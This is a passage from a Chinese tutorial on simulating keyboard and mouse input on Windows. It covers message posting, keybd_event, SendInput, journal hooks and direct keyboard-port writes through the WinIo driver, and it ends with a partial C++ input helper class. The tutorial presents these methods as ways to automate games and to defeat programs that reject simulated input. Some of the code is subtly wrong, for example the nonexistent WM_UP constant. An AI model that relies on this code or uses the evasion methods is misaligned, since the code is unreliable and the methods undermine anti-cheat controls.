好了，一次按键就完成了。现在你可以迫不及待的打开记事本做实验，先用FindWindowEx这类API函数找到记事本程序的句柄，再向它发送键盘消息，期望记事本里能诡异的自动出现字符。可是你马上就是失望了，咦，怎么一点反应也没有？你欺骗感情啊~~~~~~~~~~55555555555555  不是的哦，接着往下看啊。
一般目标程序都会含有多个控件，并不是每个控件都会对键盘消息作出反应，只有把键盘消息发送给接受它的控件才会得到期望的反应。那记事本来说，它的编辑框其实是个edit类，只有这个控件才对键盘事件有反应，如果只是把消息发给记事本的窗体，那是没有用的。现在你找出记事本那个编辑框的句柄，比如是54321，那么写如下代码：
PostMessage 54321，WM_KEYDOWN，VK_F1，0&   '按下F1键
PostMessage 54321，WM_UP，VK_F1，0&        '释放F1键
怎么样，是不是打开了记事本的“帮助”信息？这说明目标程序已经收到了你发的消息，还不错吧~~~~~~~~
可以马上新问题就来了，你想模拟向记事本按下A这个键，好在记事本里自动输入字符，可是，没有任何反应！这是怎么一回事呢？
原来，如果要向目标程序发送字符，光靠WM_KEYDOWN和WM_UP这两个事件还不行，还需要一个事件：WM_CHAR，这个消息表示一个字符，程序需靠它看来接受输入的字符。一般只有A，B，C等这样的按键才有WM_CHAR消息，别的键(比如方向键和功能键)是没有这个消息的，WM_CHAR消息一般发生在WM_KEYDOWN消息之后。WM_CHAR消息的lParam参数的含义与其它键盘消息一样，而它的wParam则表示相应字符的ASCII编码(可以输入中文的哦^_^)，现在你可以写出一个完整的向记事本里自动写入字符的程序了，下面是一个例子，并附有这些消息常数的具体值：
Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long

Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const VK_A = &H41 

Function MakeKeyLparam(ByVal VirtualKey As Long, ByVal flag As Long) As Long
    Dim s As String
    Dim Firstbyte As String    'lparam参数的24-31位
    If flag = WM_KEYDOWN  Then '如果是按下键
        Firstbyte = "00"
    Else
        Firstbyte = "C0"       '如果是释放键
    End If
    Dim Scancode As Long
    '获得键的扫描码
    Scancode = MapVirtualKey(VirtualKey, 0)
    Dim Secondbyte As String   'lparam参数的16-23位，即虚拟键扫描码
    Secondbyte = Right("00" & Hex(Scancode), 2)
    s = Firstbyte & Secondbyte & "0001"  '0001为lparam参数的0-15位，即发送次数和其它扩展信息
    MakeKeyLparam = Val("&H" & s)
End Function

Private Sub Form_Load()
    dim hwnd as long
    hwnd = XXXXXX  'XXXXX表示记事本编辑框的句柄
    PostMessage hwnd,WM_KEYDOWN，VK_A，MakeKeyLparam(VK_A,WM_KEYDOWN)  '按下A键
    PostMessage hwnd,WM_CHAR，ASC("A"),MakeKeyLparam(VK_A,WM_KEYDOWN)  '输入字符A
    PostMessage hwnd,WM_UP，VK_A，MakeKeyLparam(VK_A,WM_UP)       '释放A键
End Sub

这就是通过局部键盘消息来模拟按键。这个方法有一个极大的好处，就是：它可以实现后台按键，也就是说他对你的前台操作不会有什么影响。比如，你可以用这个方法做个程序在游戏中模拟按键来不断地执行某些重复的操作，而你则一边喝茶一边与QQ上的MM们聊得火热，它丝毫不会影响你的前台操作。无论目标程序是否获得焦点都没有影响，这就是后台模拟按键的原理啦~~~~

2.全局级模拟

    你会发现，用上面的方法模拟按键并不是对所有程序都有效的，有的程序啊，你向它发了一大堆消息，可是它却一点反应也没有。这是怎么回事呢？这就要看具体的情况了，有些程序(特别是一些游戏)出于某些原因，会禁止用户对它使用模拟按键程序，这个怎么实现呢？比如可以在程序中检查一下，如果发现自己不是活动窗口，就不接受键盘消息。或者仔细检查一下收到的键盘消息，你会发现真实的按键和模拟的按键消息总是有一些小差别，从这些小差别上，目标程序就能判断出：这是假的！是伪造的！！因此，如果用PostMessage发送局部消息模拟按键不成功的话，你可以试一试全局级的键盘消息，看看能不能骗过目标程序。
模拟全局键盘消息常见的可以有以下一些方法：
(1) 用API函数keybd_event，这个函数可以用来模拟一个键盘事件，它的VB声明为：
Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
参数bVk表示要模拟的按键的虚拟码，bScan表示该按键的扫描码(一般可以传0)，dwFlags表示是按下键还是释放键(按下键为0，释放键为2)，dwExtraInfo是扩展标志，一般没有用。比如要模拟按下A键，可以这样：
Const KEYEVENTF_KEYUP = &H2
keybd_event VK_A, 0, 0, 0   '按下A键
keybd_event VK_A, 0, KEYEVENTF_KEYUP, 0   '释放A键
注意有时候按键的速度不要太快，否则会出问题，可以用API函数Sleep来进行延时，声明如下：
Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
参数dwMilliseconds表示延时的时间，以毫秒为单位。
那么如果要模拟按下功能键怎么做呢？比如要按下Ctrl+C实现拷贝这个功能，可以这样：
keybd_event VK_Ctrl, 0, 0, 0   '按下Ctrl键
keybd_event VK_C, 0, 0, 0      '按下C键
Sleep 500            '延时500毫秒
keybd_event VK_C, 0, KEYEVENTF_KEYUP, 0   '释放C键
keybd_event VK_Ctrl, 0, KEYEVENTF_KEYUP, 0   '释放Ctrl键
好了，现在你可以试试是不是可以骗过目标程序了，这个函数对大部分的窗口程序都有效，可是仍然有一部分游戏对它产生的键盘事件熟视无睹，这时候，你就要用上bScan这个参数了。一般的，bScan都传0，但是如果目标程序是一些DirectX游戏，那么你就需要正确使用这个参数传入扫描码，用了它可以产生正确的硬件事件消息，以被游戏识别。这样的话，就可以写成这样：
keybd_event VK_A, MapVirtualKey(VK_A, 0), 0, 0   '按下A键
keybd_event VK_A, MapVirtualKey(VK_A, 0), KEYEVENTF_KEYUP, 0   '释放A键
以上就是用keybd_event函数来模拟键盘事件。除了这个函数，SendInput函数也可以模拟全局键盘事件。SendInput可以直接把一条消息插入到消息队列中，算是比较底层的了。它的VB声明如下：
Declare Function SendInput Lib "user32.dll" (ByVal nInputs As Long, pInputs As GENERALINPUT, ByVal cbSize As Long) As Long
参数： 
nlnprts：定义plnputs指向的结构的数目。
plnputs：指向INPUT结构数组的指针。每个结构代表插人到键盘或鼠标输入流中的一个事件。
cbSize：定义INPUT结构的大小。若cbSize不是INPUT结构的大小，则函数调用失败。
返回值：函数返回被成功地插人键盘或鼠标输入流中的事件的数目。若要获得更多的错误信息，可以调用GetlastError函数。
备注：Sendlnput函数将INPUT结构中的事件顺序地插入键盘或鼠标的输入流中。这些事件与用户插入的（用鼠标或键盘）或调用keybd_event，mouse_event，或另外的Sendlnput插人的键盘或鼠标的输入流不兼容。
嗯，这个函数用起来蛮复杂的，因为它的参数都是指针一类的东西。要用它来模拟键盘输入，先要构造一组数据结构，把你要模拟的键盘消息装进去，然后传给它。为了方便起见，把它做在一个过程里面，要用的时候直接调用好了，代码如下：
Declare Function SendInput Lib "user32.dll" (ByVal nInputs As Long, pInputs As GENERALINPUT, ByVal cbSize As Long) As Long
Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
 Type GENERALINPUT
   dwType As Long
   xi(0 To 23) As Byte
 End Type

 Type KEYBDINPUT
  wVk As Integer
  wScan As Integer
  dwFlags As Long
  time As Long
  dwExtraInfo As Long
 End Type

Const INPUT_KEYBOARD = 1

Sub MySendKey(bkey As Long)
'参数bkey传入要模拟按键的虚拟码即可模拟按下指定键
Dim GInput(0 To 1) As GENERALINPUT
Dim KInput As KEYBDINPUT
 KInput.wVk = bkey  '你要模拟的按键
 KInput.dwFlags = 0 '按下键标志
 GInput(0).dwType = INPUT_KEYBOARD
 CopyMemory GInput(0).xi(0), KInput, Len(KInput) '这个函数用来把内存中KInput的数据复制到GInput
 KInput.wVk = bkey  
 KInput.dwFlags = KEYEVENTF_KEYUP  ' 释放按键
 GInput(1).dwType = INPUT_KEYBOARD ' 表示该消息为键盘消息
 CopyMemory GInput(1).xi(0), KInput, Len(KInput)
'以上工作把按下键和释放键共2条键盘消息加入到GInput数据结构中
 SendInput 2, GInput(0), Len(GInput(0))    '把GInput中存放的消息插入到消息列队
End Sub

    除了以上这些，用全局钩子也可以模拟键盘消息。如果你对windows中消息钩子的用法已经有所了解，那么你可以通过设置一个全局HOOK来模拟键盘消息，比如，你可以用WH_JOURNALPLAYBACK这个钩子来模拟按键。WH_JOURNALPLAYBACK是一个系统级的全局钩子，它和WH_JOURNALRECORD的功能是相对的，常用它们来记录并回放键盘鼠标操作。WH_JOURNALRECORD钩子用来将键盘鼠标的操作忠实地记录下来，记录下来的信息可以保存到文件中，而WH_JOURNALPLAYBACK则可以重现这些操作。当然亦可以单独使用WH_JOURNALPLAYBACK来模拟键盘操作。你需要首先声明SetWindowsHookEx函数，它可以用来安装消息钩子：
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long,ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
先安装WH_JOURNALPLAYBACK这个钩子，然后你需要自己写一个钩子函数，在系统调用它时，把你要模拟的事件传递给钩子参数lParam所指向的EVENTMSG区域，就可以达到模拟按键的效果。不过用这个钩子模拟键盘事件有一个副作用，就是它会锁定真实的鼠标键盘，不过如果你就是想在模拟的时候不会受真实键盘操作的干扰，那么用用它倒是个不错的主意。
3.驱动级模拟

    如果上面的方法你都试过了，可是你发现目标程序却仍然顽固的不接受你模拟的消息，寒~~~~~~~~~还好，我还剩下最后一招，这就是驱动级模拟：直接读写键盘的硬件端口！
    有一些使用DirectX接口的游戏程序，它们在读取键盘操作时绕过了windows的消息机制，而使用DirectInput.这是因为有些游戏对实时性控制的要求比较高，比如赛车游戏，要求以最快速度响应键盘输入。而windows消息由于是队列形式的，消息在传递时会有不少延迟，有时1秒钟也就传递十几条消息，这个速度达不到游戏的要求。而DirectInput则绕过了windows消息，直接与键盘驱动程序打交道，效率当然提高了不少。因此也就造成，对这样的程序无论用PostMessage或者是keybd_event都不会有反应，因为这些函数都在较高层。对于这样的程序，只好用直接读写键盘端口的方法来模拟硬件事件了。要用这个方法来模拟键盘，需要先了解一下键盘编程的相关知识。
    在DOS时代，当用户按下或者放开一个键时，就会产生一个键盘中断(如果键盘中断是允许的)，这样程序会跳转到BIOS中的键盘中断处理程序去执行。打开windows的设备管理器，可以查看到键盘控制器由两个端口控制。其中&H60是数据端口，可以读出键盘数据，而&H64是控制端口，用来发出控制信号。也就是，从&H60号端口可以读此键盘的按键信息，当从这个端口读取一个字节，该字节的低7位就是按键的扫描码，而高1位则表示是按下键还是释放键。当按下键时，最高位为0，称为通码，当释放键时，最高位为1，称为断码。既然从这个端口读数据可以获得按键信息，那么向这个端口写入数据就可以模拟按键了！用过QbASIC4.5的朋友可能知道，QB中有个OUT命令可以向指定端口写入数据，而INP函数可以读取指定端口的数据。那我们先看看如果用QB该怎么写代码：
假如你想模拟按下一个键，这个键的扫描码为&H50，那就这样
OUT &H64,&HD2   '把数据&HD2发送到&H64端口。这是一个KBC指令，表示将要向键盘写入数据
OUT &H60,&H50   '把扫描码&H50发送到&H60端口，表示模拟按下扫描码为&H50的这个键
那么要释放这个键呢？像这样，发送该键的断码：
OUT &H64,&HD2   '把数据&HD2发送到&H64端口。这是一个KBC指令，表示将要向键盘写入数据
OUT &H60,(&H50 OR &H80)   '把扫描码&H50与数据&H80进行或运算，可以把它的高位置1，得到断码，表示释放这个键
    好了，现在的问题就是在VB中如何向端口写入数据了。因为在windows中，普通应用程序是无权操作端口的，于是我们就需要一个驱动程序来帮助我们实现。在这里我们可以使用一个组件WINIO来完成读写端口操作。什么是WINIO？WINIO是一个全免费的、无需注册的、含源程序的WINDOWS2000端口操作驱动程序组件(可以到http://www.internals.com/上去下载)。它不仅可以操作端口，还可以操作内存；不仅能在VB下用，还可以在DELPHI、VC等其它环境下使用，性能特别优异。下载该组件，解压缩后可以看到几个文件夹，其中Release文件夹下的3个文件就是我们需要的，这3个文件是WinIo.sys(用于win xp下的驱动程序)，WINIO.VXD(用于win 98下的驱动程序)，WinIo.dll(封装函数的动态链接库)，我们只需要调用WinIo.dll中的函数，然后WinIo.dll就会安装并调用驱动程序来完成相应的功能。值得一提的是这个组件完全是绿色的，无需安装，你只需要把这3个文件复制到与你的程序相同的文件夹下就可以使用了。用法很简单，先用里面的InitializeWinIo函数安装驱动程序，然后就可以用GetPortVal来读取端口或者用SetPortVal来写入端口了。好，让我们来做一个驱动级的键盘模拟吧。先把winio的3个文件拷贝到你的程序的文件夹下，然后在VB中新建一个工程，添加一个模块，在模块中加入下面的winio函数声明:

Declare Function MapPhysToLin Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysSize As Long, ByRef PhysMemHandle) As Long
Declare Function UnmapPhysicalMemory Lib "WinIo.dll" (ByVal PhysMemHandle, ByVal LinAddr) As Boolean
Declare Function GetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByRef PhysVal As Long) As Boolean
Declare Function SetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysVal As Long) As Boolean
Declare Function GetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByRef PortVal As Long, ByVal bSize As Byte) As Boolean
Declare Function SetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByVal PortVal As Long, ByVal bSize As Byte) As Boolean
Declare Function InitializeWinIo Lib "WinIo.dll" () As Boolean
Declare Function ShutdownWinIo Lib "WinIo.dll" () As Boolean
Declare Function InstallWinIoDriver Lib "WinIo.dll" (ByVal DriverPath As String, ByVal Mode As Integer) As Boolean
Declare Function RemoveWinIoDriver Lib "WinIo.dll" () As Boolean

' ------------------------------------以上是WINIO函数声明-------------------------------------------

Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long

'-----------------------------------以上是WIN32 API函数声明-----------------------------------------

再添加下面这个过程：
Sub KBCWait4IBE()   '等待键盘缓冲区为空
Dim dwVal As Long
  Do
  GetPortVal &H64, dwVal, 1
'这句表示从&H64端口读取一个字节并把读出的数据放到变量dwVal中
'GetPortVal函数的用法是GetPortVal 端口号,存放读出数据的变量,读入的长度
  Loop While (dwVal And &H2)
End Sub
上面的是一个根据KBC规范写的过程，它的作用是在向键盘端口写入数据前等待一段时间，后面将会用到。
然后再添加如下过程，这2个过程用来模拟按键：

Public Const KBC_KEY_CMD = &H64    '键盘命令端口
Public Const KBC_KEY_DATA = &H60   '键盘数据端口

Sub MyKeyDown(ByVal vKeyCoad As Long)   
'这个用来模拟按下键，参数vKeyCoad传入按键的虚拟码
Dim btScancode As Long
btScancode = MapVirtualKey(vKeyCoad, 0)
  
    KBCWait4IBE   '发送数据前应该先等待键盘缓冲区为空
    SetPortVal KBC_KEY_CMD, &HD2, 1     '发送键盘写入命令
'SetPortVal函数用于向端口写入数据，它的用法是SetPortVal 端口号,欲写入的数据，写入数据的长度
    KBCWait4IBE
    SetPortVal KBC_KEY_DATA, btScancode, 1  '写入按键信息,按下键
    
End Sub

 Sub MyKeyUp(ByVal vKeyCoad As Long)   
'这个用来模拟释放键，参数vKeyCoad传入按键的虚拟码
Dim btScancode As Long
btScancode = MapVirtualKey(vKeyCoad, 0)
  
    KBCWait4IBE   '等待键盘缓冲区为空
    SetPortVal KBC_KEY_CMD, &HD2, 1  '发送键盘写入命令
    KBCWait4IBE
    SetPortVal KBC_KEY_DATA, (btScancode Or &H80), 1  '写入按键信息，释放键

End Sub

定义了上面的过程后，就可以用它来模拟键盘输入了。在窗体模块中添加一个定时器控件，然后加入以下代码：

Private Sub Form_Load()    If InitializeWinIo = False Then      '用InitializeWinIo函数加载驱动程序，如果成功会返回true，否则返回false     MsgBox "驱动程序加载失败!"     Unload Me  End If Timer1.Interval=3000 Timer1.Enabled=True End Sub Private Sub Form_Unload(Cancel As Integer)  ShutdownWinIo '程序结束时记得用ShutdownWinIo函数卸载驱动程序 End Sub Private Sub Timer1_Timer() Dim VK_A as Long = &H41  MyKeyDown VK_A     MyKeyUp VK_A    '模拟按下并释放A键 End Sub [/quote] 运行上面的程序，就会每隔3秒钟模拟按下一次A键，试试看，怎么样，是不是对所有程序都有效果了？ 需要注意的问题： 要在VB的调试模式下使用WINIO，需要把那3个文件拷贝到VB的安装目录中。 键盘上有些键属于扩展键(比如键盘上的方向键就是扩展键)，对于扩展键不应该用上面的MyKeyDown和MyKeyUp过程来模拟，可以使用下面的2个过程来准确模拟扩展键： [quote]Sub MyKeyDownEx(ByVal vKeyCoad As Long)   '模拟扩展键按下，参数vKeyCoad是扩展键的虚拟码 Dim btScancode As Long btScancode = MapVirtualKey(vKeyCoad, 0)     KBCWait4IBE   '等待键盘缓冲区为空     SetPortVal KBC_KEY_CMD, &HD2, 1     '发送键盘写入命令     KBCWait4IBE     SetPortVal KBC_KEY_DATA, &HE0, 1  '写入扩展键标志信息               KBCWait4IBE   '等待键盘缓冲区为空     SetPortVal KBC_KEY_CMD, &HD2, 1     '发送键盘写入命令     KBCWait4IBE     SetPortVal KBC_KEY_DATA, btScancode, 1  '写入按键信息,按下键           End Sub Sub MyKeyUpEx(ByVal vKeyCoad As Long)   '模拟扩展键弹起 Dim btScancode As Long btScancode = MapVirtualKey(vKeyCoad, 0)     KBCWait4IBE   '等待键盘缓冲区为空     SetPortVal KBC_KEY_CMD, &HD2, 1     '发送键盘写入命令     KBCWait4IBE     SetPortVal KBC_KEY_DATA, &HE0, 1  '写入扩展键标志信息               KBCWait4IBE   '等待键盘缓冲区为空     SetPortVal KBC_KEY_CMD, &HD2, 1     '发送键盘写入命令     KBCWait4IBE     SetPortVal KBC_KEY_DATA, (btScancode Or &H80), 1  '写入按键信息，释放键      End Sub [/quote] 还应该注意的是，如果要从扩展键转换到普通键，那么普通键的KeyDown事件应该发送两次。也就是说，如果我想模拟先按下一个扩展键，再按下一个普通键，那么就应该向端口发送两次该普通键被按下的信息。比如，我想模拟先按下左方向键，再按下空格键这个事件，由于左方向键是扩展键，空格键是普通键，那么流程就应该是这样的： [quote]MyKeyDownEx VK_LEFT   '按下左方向键 Sleep 200             '延时200毫秒 MyKeyUpEx VK_LEFT     '释放左方向键 Sleep 500 MyKeyDown VK_SPACE   '按下空格键，注意要发送两次 MyKeyDown VK_SPACE Sleep 200 MyKeyUp VK_SPACE     '释放空格键

好了，相信到这里，你的模拟按键程序也就差不多了，测试一下，是不是很有效呢，嘿嘿~~~~
WINIO组件的下载地址：http://www.114vip.com.cn/download/winio.zip
4.骨灰级模拟
    方法3算是很底层的模拟了，我现在还没有发现有它模拟无效的程序。但是如果你用尽上面所有的方法，仍然无效的话，那么还有最后一个方法，绝对对任何程序都会有效，那就是：把键盘拿出来，老老实实地按下去吧。~~~~

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "winable.h"

class mk
{
public:
mk();

static void Key(BYTE k, int mSeconds=0);//按一个键，mSeconds表按键后到
                                                                         //下一次操作延迟的时间：ms
static void Key2(BYTE k1, BYTE k2,int mSeconds=0);//按2个键
static void Key3(BYTE k1,BYTE k2,BYTE k3,int mSeconds=0);//按3个键

static void Click(int x,int y,int mSeconds=0);//单击
static void RClick(int x,int y,int mSeconds=0);//右击
static void DClick(int x,int y,int mSeconds=0);//双击
static void CtrlClick(int x, int y, int mSeconds=0);//Ctrl+单击
                static void Drag(int x1,int y1,int x2,int y2,int mSeconds=0);//鼠标拖动

virtual ~mk();

};

#endif // !defined(AFX_MK_H__B024D48F_090A_4F6F_A199_32996DF699B3__INCLUDED_)
//****************** 类mk头文件mk.h end**************************
//****************** 类mk实现文件mk.cpp **************************
#include "stdafx.h"
#include "mk.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

mk::mk()
{

}

mk::~mk()
{

}
void mk::Click(int x, int y, int mSeconds)
{
SetCursorPos(x,y);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(mSeconds);
}
void mk::DClick(int x, int y, int mSeconds)
{
SetCursorPos(x,y);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(mSeconds);
}

void mk::Drag(int x1, int y1, int x2, int y2, int mSeconds)
{
SetCursorPos(x1,y1);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
SetCursorPos(x2,y2);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(mSeconds);
}

void mk::RClick(int x, int y, int mSeconds)
{
SetCursorPos(x,y);
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
Sleep(mSeconds);
}
void mk::Key(BYTE k, int mSeconds)
{
keybd_event(k,0,0,0);
keybd_event(k,0,KEYEVENTF_KEYUP,0); 
Sleep(mSeconds);
}
void mk::Key2(BYTE k1, BYTE k2, int mSeconds)
{
//法1
//keybd_event(k1, 0, 0 ,0);
    //keybd_event(k2, 0, 0 ,0);
    //keybd_event(k2, 0, KEYEVENTF_KEYUP,0);
    //keybd_event(k1, 0, KEYEVENTF_KEYUP,0);
//法2,更通用,但须先#include "winable.h"
INPUT input[4];
    memset(input,0,sizeof(input));
    input[0].type=input[1].type=input[2].type=input[3].type=INPUT_KEYBOARD;
    input[0].ki.wVk=input[3].ki.wVk=k1;
    input[1].ki.wVk=input[2].ki.wVk=k2;
    input[2].ki.dwFlags = input[3].ki.dwFlags = KEYEVENTF_KEYUP;

    SendInput(4, input, sizeof(INPUT));

Sleep(mSeconds);
}

void mk::CtrlClick(int x, int y, int mSeconds)
{
SetCursorPos(x,y);
keybd_event(VK_CONTROL ,0,0,0);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
Sleep(mSeconds);
}

void mk::Key3(BYTE k1, BYTE k2, BYTE k3, int mSeconds)
{
if(k1==VK_CONTROL&&k2==VK_MENU&&k3==VK_DELETE)
ShellExecute(NULL,NULL,"taskmgr.exe",NULL,NULL,SW_SHOW);
else
{
INPUT input[6];
    memset(input,0,sizeof(input));
    input[0].type=input[1].type=input[2].type=input[3].type=input[4].type=input[5].type=INPUT_KEYBOARD;
    input[0].ki.wVk=input[5].ki.wVk=k1;
    input[1].ki.wVk=input[4].ki.wVk=k2;
input[2].ki.wVk=input[3].ki.wVk=k3;
    input[3].ki.dwFlags=input[4].ki.dwFlags=input[5].ki.dwFlags=KEYEVENTF_KEYUP;
    SendInput(6, input, sizeof(INPUT));
}

Sleep(mSeconds);
}

//****************** 类mk实现文件mk.cpp end**************************